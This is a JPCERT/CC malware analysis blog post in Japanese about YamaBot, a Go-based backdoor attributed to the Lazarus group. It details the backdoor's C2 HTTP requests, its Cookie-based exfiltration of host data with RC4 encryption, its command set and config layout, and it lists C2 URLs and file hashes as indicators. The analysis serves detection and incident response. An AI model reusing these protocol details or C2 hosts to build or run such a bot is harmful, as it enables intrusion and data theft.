攻撃グループLazarusが使用するマルウェアYamaBot
JPCERT/CCでは、攻撃グループLazarusの活動を継続的に調査しています。2021年には、CODE BLUEおよびHITCONにて攻撃グループLazarusの攻撃活動について発表をしています。
https://github.com/JPCERTCC/Lazarus-research/
上記の調査レポートで共有したLinux OSをターゲットにしたマルウェアYamaBot(資料内では、Kaosと記載していますが、本ブログではYamaBotと記載します)について、Windows OSをターゲットにしたものが最近確認されました。YamaBotは、Go言語で作成されたマルウェアで、各プラットホーム向けに作成されたマルウェア間で機能が多少異なります。YamaBot以外にも、攻撃グループLazarusは、VSingleなどマルチプラットフォームをターゲットにしたマルウェアを複数使用しています。今回は、このYamaBotについて詳細を解説します。
YamaBotの概要
YamaBotは、C2サーバーとHTTPリクエストを使用して通信を行うマルウェアです。以下は、Windows OSをターゲットにした検体内に含まれていたマルウェアの関数名の一覧です。YamaBotは、攻撃者自身がこのマルウェアに命名しているものです。Windows OSをターゲットにしたものでは、Mutexを作成・確認する機能など、Windows固有の機能が含まれています。
_/D_/Bot/YamaBot/utilities.BaseDecodeR _/D_/Bot/YamaBot/utilities.HttpPostWithCookie _/D_/Bot/YamaBot/utilities.HttpPostWithFile _/D_/Bot/YamaBot/utilities.GetMacAddress _/D_/Bot/YamaBot/utilities.GetHash _/D_/Bot/YamaBot/utilities.GetCookieParams _/D_/Bot/YamaBot/utilities.GetRndString _/D_/Bot/YamaBot/utilities.BmpMaker _/D_/Bot/YamaBot/utilities.createMutex _/D_/Bot/YamaBot/utilities.CCheckkmutex _/D_/Bot/YamaBot/utilities.CIpaddress _/D_/Bot/YamaBot/utilities.COsname _/D_/Bot/YamaBot/utilities.getOSVer _/D_/Bot/YamaBot/utilities.Run _/D_/Bot/YamaBot/utilities.Run.func1 _/D_/Bot/YamaBot/utilities.Run.func2 _/D_/Bot/YamaBot/engine.(*FileStruct).Lunch _/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung _/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten _/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo _/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice _/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice _/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice _/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr
以下は、Linux OSをターゲットにした検体内に含まれていたマルウェアの関数名の一覧です。こちらでは、kaosという名前を使用していました。
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR _/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie _/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode _/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile _/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID _/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams _/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode _/C_/Users/administrator/Downloads/kaos/utilities.GetRndString _/C_/Users/administrator/Downloads/kaos/utilities.EierKochen _/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress _/C_/Users/administrator/Downloads/kaos/utilities.Run _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice _/C_/Users/administrator/Downloads/kaos/utilities.COsname _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice _/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr _/C_/Users/administrator/Downloads/kaos/engine.NewEgg
図1は、設定情報を読み込むコードの一部です。マルウェアの設定情報内には、RC4キーなどが含まれています(設定情報の詳細に関しては、Appendix Aをご覧ください)。設定情報については、OSによる違いはありません。
以降では、YamaBotの通信方式およびコマンドについてLinux OS向けバージョンとWindows OS向けバージョンの違いを中心に記載します。
通信方式
YamaBotは、C2サーバーとHTTPリクエストを使用して通信を行います。以下は、YamaBotが最初に送信するHTTP POSTリクエストです。HTTP POSTリクエストなのですが、送信するデータはありません。また、UserAgentがBase64エンコードされているという特徴があります。
POST /editor/session/aaa000/support.php HTTP/1.1 Host: 213.180.180.154 User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg== Connection: close Content-Length: 0 Accept-Encoding: gzip
C2サーバーとの接続に成功すると、次のリクエストを送信します。YamaBotは、Cookieヘッダーに情報を含めて送信します。captcha_session
には、ランダムに生成した文字列とRC4キー([ランダムな文字(16バイト)][RC4キー(16バイト)][ランダムな文字(4バイト)])がBase64エンコードされて含まれます。RC4キーは、以下のデータから作成されたMD5値の先頭16バイトが使われます。
- ターゲットWindows OS: ホスト名、ユーザー名、MACアドレス
- ターゲットLinux OS: ホスト名、ユーザー名
captcha_val
には、端末情報やコマンド実行結果が、RC4暗号化およびBase64エンコードされて含まれます。
POST /editor/session/aaa000/support.php HTTP/1.1 Host: 213.180.180.154 User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg== Connection: close Content-Length: 0 Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ Accept-Encoding: gzip
なお、captcha_val
で最初に送信されるデータは、OS情報およびIPアドレスであり、以下のような内容が送信されます。
windows 6 amd64|[192.168.1.1] linux 386|[192.168.1.1]
さらに、送信するデータサイズが特定のサイズ(3,333バイト、7,000バイトの例を確認)を超えると、captcha_val
ではなく、マルチパートによるBMPデータに偽装して送信されます。
POST /recaptcha.php HTTP/1.1 Host: www.karin-store.com User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg== Connection: close Content-Length: [Length] Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D Accept-Encoding: gzip --f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png" Content-Type: application/octet-stream BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f --f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
サーバーからの命令は、Set-Cookieヘッダーに含まれます。命令は、以下のようにRC4暗号化およびBase64エンコードされてcaptcha_session
に含まれます。なお、RC4キーはマルウェアが送信したデータが使用されます。
Set-Cookie: captcha_session=[Base64エンコードされた命令]
コマンド
C2サーバーからの命令によって実行されるコマンドには、ターゲットOSによって大きな違いがあります。Linux OSをターゲットにしたものは、/bin/sh でシェルコマンドを実行する機能しかありません。対して、Windows OSをターゲットにしたものは、以下のとおり複数のコマンドが実装されています。
- dir: ファイル一覧取得
- Mapfs: ディレクトリ一覧取得
- Download: ファイルダウンロード
- Info: ファイルパス、PIDの送信
- Sleep: Sleep時間の変更
- Uninstall: 本体削除
- i: インターバル時間の変更
- その他: 与えられた文字列をシェルコマンドで実行
コマンドは[コマンド][コマンドパラメーター]
の形式になっており、前半部分に上記コマンドが含まれます。
なお、コマンドi
が実行された場合、以下のようなドイツ語含めてコマンド実行結果が送信されます。YamaBot内に、ドイツ語が含まれている理由は不明です。
おわりに
YamaBotは、攻撃者によって現在でも使用されているマルウェアです。Windows OSだけだはなく、Linux OSもターゲットにすることから、インシデント調査時はサーバーについても入念に調査をする必要があります。攻撃グループLazarusの攻撃活動は、国内でも複数確認されており、今後も注意が必要です。次回も、攻撃グループLazarusが使用するマルウェアについて紹介する予定です。
インシデントレスポンスグループ 朝長 秀誠
Appendix A: 設定情報
オフセット | 説明 | 備考 |
0x000 | インターバル | 通信間隔 |
0x004 | - | 未使用 |
0x008 | C2サーバー | |
0x00C | C2サーバーの長さ | |
0x010 | RC4キー | |
0x014 | RC4キーの長さ | |
0x018 | C2サーバーの接続 | C2サーバーに接続成功有無 |
0x01C | Cookieヘッダー値 | Cookieヘッダーにセットする値 |
0x020 | - | 未使用 |
0x024 | 接続回数 | C2サーバーへの再接続回数 |
オフセット | 説明 | 備考 |
0x000 | インターバル | 通信間隔 | 0x008 | C2サーバー |
0x010 | C2サーバーの長さ | |
0x018 | RC4キー | |
0x020 | RC4キーの長さ | |
0x028 | C2サーバーの接続 | C2サーバーに接続成功有無 |
0x030 | Cookieヘッダー値 | Cookieヘッダーにセットする値 |
0x038 | - | 未使用 |
0x040 | 接続回数 | C2サーバーへの再接続回数 |
Appendix B: 通信先
- http://www.karin-store.com/recaptcha.php
- http://yoshinorihirano.net/wp-includes/feed-xml.php
- http://213.180.180.154/editor/session/aaa000/support.php
Appendix C: マルウェアのハッシュ値
- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
- 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1